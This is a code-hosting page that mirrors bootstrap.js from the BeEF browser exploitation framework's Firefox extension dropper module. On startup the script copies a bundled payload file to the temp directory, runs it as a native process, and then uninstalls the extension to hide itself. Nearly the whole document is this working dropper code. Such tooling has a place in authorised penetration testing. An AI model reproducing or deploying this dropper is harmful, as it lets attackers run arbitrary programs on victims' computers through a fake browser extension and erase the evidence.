Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/social_engineering/firefox_extension_dropper/extension/bootstrap.js
1154 views
1
2
function startup(data, reason) {
3
var file = Components.classes["@mozilla.org/file/directory_service;1"].
4
getService(Components.interfaces.nsIProperties).
5
get("ProfD", Components.interfaces.nsIFile);
6
file.append("extensions");
7
xpi_guid="{861fb387-92ce-bb0a-cb48-4b923dbc292b}";payload_name="__payload_placeholder__";
8
file.append(xpi_guid);
9
file.append(payload_name);
10
var tmp = Components.classes["@mozilla.org/file/directory_service;1"].
11
getService(Components.interfaces.nsIProperties).
12
get("TmpD", Components.interfaces.nsIFile);
13
tmp.append(payload_name);
14
tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);
15
file.copyTo(tmp.parent, tmp.leafName);
16
17
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
18
process.init(tmp);
19
process.run(false,[],0);
20
21
try { // Fx < 4.0
22
Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);
23
} catch (e) {}
24
try { // Fx 4.0 and later
25
Components.utils.import("resource://gre/modules/AddonManager.jsm");
26
AddonManager.getAddonByID(xpi_guid, function(addon) {
27
addon.uninstall();
28
});
29
} catch (e) {}
30
}
31